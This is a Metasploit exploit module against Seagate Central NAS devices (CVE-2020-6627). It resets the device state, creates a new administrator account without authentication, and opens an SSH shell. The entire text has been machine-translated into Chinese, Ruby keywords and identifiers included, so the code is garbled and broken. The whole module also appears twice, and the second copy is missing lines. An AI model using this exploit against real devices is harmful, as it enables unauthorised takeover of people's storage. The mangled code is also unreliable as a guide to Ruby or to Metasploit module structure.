##
#利用标题: Seagate Central Storage 2015.0916-未经身份验证的远程命令执行(Metasploit)
#日期: 2019年12月9日
#利用作者: EGE BALCI
#供应商homepage3360 https://www.seagate.com/de/de/support/support/external-hard-drives/network-storage/seagate-central/
#版本: 2015.0916
#CVE : 2020-6627
#此模块需要Metasploit: https://metasploit.com/download
#当前源: https://github.com/RAPID7/METASPLOIT-FRAMEWORK
##
需要“ net/http”
需要“网/ssh”
需要“ net/ssh/command_stream”
类MSF:EXPLOIT3:REMOTE
等级=极好的额定功能
包括MSF:EXPLOIT:REMOTE3:HTTPCLCCLIENT
包括MSF:EXPLOIT:REMOTE3:SSH
def初始化(info={})
super(update_info(信息,
'name'='Seagate Central外部NAS任意用户创建',
'description'=%q {
该模块利用了Seagate Central外部NAS存储设备中损坏的访问控制漏洞。
主题产品遭受了几个关键漏洞,例如破裂的访问控制。它可以更改设备状态
并注册能够访问SSH的新管理用户。
},
'许可证'=msf_license,
'作者'=
[
'egebalcı[email protected]'#作者MSF模块
],
'参考'=
[
['url','https://pentest.blog/Advisory-seagate-centrary-centorage-remote-code-execution/'],],
['cve','2020-6627']
],
'DefaultOptions'=
{
'ssl'=false,
'wfsdelay'=5,
},
'platform'=['unix'],
'Arch'=[Arch_cmd],
'有效载荷'=
{
'compat'={
'payloadType'='cmd_interact',
'ConnectionType'='find'
}
},
“目标”=
[
['汽车',
{
'platform'='unix',
'Arch'=Arch_cmd
}
],
],
'特权'=true,
'Difleosuretate'='2019年12月9日',
'DefaultTarget'=0
))
register_options(
[
optString.new('用户',[true,'Seagate Central SSH用户','']),),
optString.new('Pass',[true,'Seagate Central SSH用户密码'''])
],self.class
)
register_advanced_options(
[
optbool.new('ssh_debug',[false,'启用ssh调试输出(extreme derbosity!)',false]),),),),)
optint.new('ssh_timeout',[false,'指定协商SSH会话的最大时间',30])
这是给出的
)
结尾
DEF检查
res=send_request_cgi({{
'方法'='get',
'uri'=normalize_uri(target_uri.path,'/index.php/start/get_firmware'),
'标题'={
'X-重新quested-with'='xmlhttprequest'
}
},60)
如果res.body.include?('cirrus nas')res.body.include?('2015.0916')
exploit:checkCode:Appears
别的
Exploit:checkCode:SAFE
结尾
结尾
DEF利用
#首先获得当前状态
first_state=get_state()
如果First_state
print_status('当前设备状态:#{first_state ['state']}')
别的
返回
结尾
如果first_state ['state']!='start'
#设置新的开始状态
first_state ['state']='start'
res=send_request_cgi({{
'方法'='post',
'uri'=normalize_uri(target_uri.path,'/index.php/start/set_start_info'),
'ctype'='应用程序/x-www-form-urlencoded',
'data'='info=#{first_state.to_json}'
},60)
change_state=get_state()
如果更改_STATE change_state ['state']=='start'
print_good(“状态成功改变!”)
别的
print_error('无法更改设备状态')
返回
结尾
结尾
名称=REX3:TEXT.RAND_NAME_MALE
用户=datastore ['用户'] || '#{rex3:Text.rand_name_male} {rand(1.9999).to_s}'
Pass=datastore ['Pass'] || REX3:TEXT.RAND_TEXT_ALPHA(8)
print_status('创建新的管理用户.')
print_status('user:#{user}')
print_status('pass:#{pass}')
#添加新的管理员用户
res=send_request_cgi({{
'方法'='post',
'uri'=normalize_uri(target_uri.path,'/index.php/start/add_edit_user'),
'ctype'='应用程序/x-www-form-urlencoded',
'标题'={
'X-重新quested-with'='xmlhttprequest'
},
'vars_post'={user: json.dump({user:用户,fullname:名称,pwd3: Pass,email:'#{name} @localhost',inlocalhost',isadmin: true,uid: -1}}
},60)
conn=do_login(用户,通过)
如果conn
print_good('#{rhost} :#{rport} - 登录成功(#{user} :#{pass})')
处理程序(conn.lsock)
结尾
结尾
def do_login(用户,通过)
factory=ssh_socket_factory
opts={
:AUTH_METHODS=['密码','键盘相互作用'],
ORT=22,
:use_agent=false,
:config=false,
assword=Pass,
roxy=工厂,
:non_interactive=true,
:verify_host_key=: never
}
opts.merge!(:verbose=:debug)如果数据存储['ssh_debug']
开始
ssh=nil
:Timeout.timeout(datastore ['ssh_timeout'])做
ssh=net3:ssh.start(rhost,用户,选择)
结尾
REX REX: ConnectionError
fail_with失败3:unReachable,“连接失败”
Rescue Net:SSH
isconnect,Eoferror
print_error'#{rhost} :#{rport} ssh-在谈判期间断开连接'
返回
救援:3360TimeOut:Error
print_error'#{rhost} :#{rport} ssh-在谈判期间定时'
返回
救援NET:SSH:AuthenticationFailed
print_error'#{rhost} :#{rport} ssh-失败的身份验证'
救援NET3:SSH3:EXCEPTION=E
print_error'#{rhost} :#{rport} ssh error:#{e.class} :#{e.message}'
返回
结尾
如果SSH
CONN=NET3:SSH:COMBANDSTREAM.NEW(SSH)
ssh=nil
返回连接
结尾
返回无
结尾
def get_state
res=send_request_cgi({{
'方法'='get',
'uri'=normalize_uri(target_uri.path,'/index.php/start/json_get_start_info'),
'标题'={
'X-重新quested-with'='xmlhttprequest'
}
},60)
如果res(res.code==200 || res.code==100)
返回res.get_json_document
结尾
res=nil
结尾
结尾
#利用标题: Seagate Central Storage 2015.0916-未经身份验证的远程命令执行(Metasploit)
#日期: 2019年12月9日
#利用作者: EGE BALCI
#供应商homepage3360 https://www.seagate.com/de/de/support/support/external-hard-drives/network-storage/seagate-central/
#版本: 2015.0916
#CVE : 2020-6627
#此模块需要Metasploit: https://metasploit.com/download
#当前源: https://github.com/RAPID7/METASPLOIT-FRAMEWORK
##
需要“ net/http”
需要“网/ssh”
需要“ net/ssh/command_stream”
类MSF:EXPLOIT3:REMOTE
等级=极好的额定功能
包括MSF:EXPLOIT:REMOTE3:HTTPCLCCLIENT
包括MSF:EXPLOIT:REMOTE3:SSH
def初始化(info={})
super(update_info(信息,
'name'='Seagate Central外部NAS任意用户创建',
'description'=%q {
该模块利用了Seagate Central外部NAS存储设备中损坏的访问控制漏洞。
主题产品遭受了几个关键漏洞,例如破裂的访问控制。它可以更改设备状态
并注册能够访问SSH的新管理用户。
},
'许可证'=msf_license,
'作者'=
[
'egebalcı[email protected]'#作者MSF模块
],
'参考'=
[
['url','https://pentest.blog/Advisory-seagate-centrary-centorage-remote-code-execution/'],],
['cve','2020-6627']
],
'DefaultOptions'=
{
'ssl'=false,
'wfsdelay'=5,
},
'platform'=['unix'],
'Arch'=[Arch_cmd],
'有效载荷'=
{
'compat'={
'payloadType'='cmd_interact',
'ConnectionType'='find'
}
},
“目标”=
[
['汽车',
{
'platform'='unix',
'Arch'=Arch_cmd
}
],
],
'特权'=true,
'Difleosuretate'='2019年12月9日',
'DefaultTarget'=0
))
register_options(
[
optString.new('用户',[true,'Seagate Central SSH用户','']),),
optString.new('Pass',[true,'Seagate Central SSH用户密码'''])
],self.class
)
register_advanced_options(
[
optbool.new('ssh_debug',[false,'启用ssh调试输出(extreme derbosity!)',false]),),),),)
optint.new('ssh_timeout',[false,'指定协商SSH会话的最大时间',30])
这是给出的
)
结尾
DEF检查
res=send_request_cgi({{
'方法'='get',
'uri'=normalize_uri(target_uri.path,'/index.php/start/get_firmware'),
'标题'={
'X-重新quested-with'='xmlhttprequest'
}
},60)
如果res.body.include?('cirrus nas')res.body.include?('2015.0916')
exploit:checkCode:Appears
别的
Exploit:checkCode:SAFE
结尾
结尾
DEF利用
#首先获得当前状态
first_state=get_state()
如果First_state
print_status('当前设备状态:#{first_state ['state']}')
别的
返回
结尾
如果first_state ['state']!='start'
#设置新的开始状态
first_state ['state']='start'
res=send_request_cgi({{
'方法'='post',
'uri'=normalize_uri(target_uri.path,'/index.php/start/set_start_info'),
'ctype'='应用程序/x-www-form-urlencoded',
'data'='info=#{first_state.to_json}'
},60)
change_state=get_state()
如果更改_STATE change_state ['state']=='start'
print_good(“状态成功改变!”)
别的
print_error('无法更改设备状态')
返回
结尾
结尾
名称=REX3:TEXT.RAND_NAME_MALE
用户=datastore ['用户'] || '#{rex3:Text.rand_name_male} {rand(1.9999).to_s}'
Pass=datastore ['Pass'] || REX3:TEXT.RAND_TEXT_ALPHA(8)
print_status('创建新的管理用户.')
print_status('user:#{user}')
print_status('pass:#{pass}')
#添加新的管理员用户
res=send_request_cgi({{
'方法'='post',
'uri'=normalize_uri(target_uri.path,'/index.php/start/add_edit_user'),
'ctype'='应用程序/x-www-form-urlencoded',
'标题'={
'X-重新quested-with'='xmlhttprequest'
},
'vars_post'={user: json.dump({user:用户,fullname:名称,pwd3: Pass,email:'#{name} @localhost',inlocalhost',isadmin: true,uid: -1}}
},60)
conn=do_login(用户,通过)
如果conn
print_good('#{rhost} :#{rport} - 登录成功(#{user} :#{pass})')
处理程序(conn.lsock)
结尾
结尾
def do_login(用户,通过)
factory=ssh_socket_factory
opts={
:AUTH_METHODS=['密码','键盘相互作用'],

:use_agent=false,
:config=false,


:non_interactive=true,
:verify_host_key=: never
}
opts.merge!(:verbose=:debug)如果数据存储['ssh_debug']
开始
ssh=nil
:Timeout.timeout(datastore ['ssh_timeout'])做
ssh=net3:ssh.start(rhost,用户,选择)
结尾
REX REX: ConnectionError
fail_with失败3:unReachable,“连接失败”
Rescue Net:SSH

print_error'#{rhost} :#{rport} ssh-在谈判期间断开连接'
返回
救援:3360TimeOut:Error
print_error'#{rhost} :#{rport} ssh-在谈判期间定时'
返回
救援NET:SSH:AuthenticationFailed
print_error'#{rhost} :#{rport} ssh-失败的身份验证'
救援NET3:SSH3:EXCEPTION=E
print_error'#{rhost} :#{rport} ssh error:#{e.class} :#{e.message}'
返回
结尾
如果SSH
CONN=NET3:SSH:COMBANDSTREAM.NEW(SSH)
ssh=nil
返回连接
结尾
返回无
结尾
def get_state
res=send_request_cgi({{
'方法'='get',
'uri'=normalize_uri(target_uri.path,'/index.php/start/json_get_start_info'),
'标题'={
'X-重新quested-with'='xmlhttprequest'
}
},60)
如果res(res.code==200 || res.code==100)
返回res.get_json_document
结尾
res=nil
结尾
结尾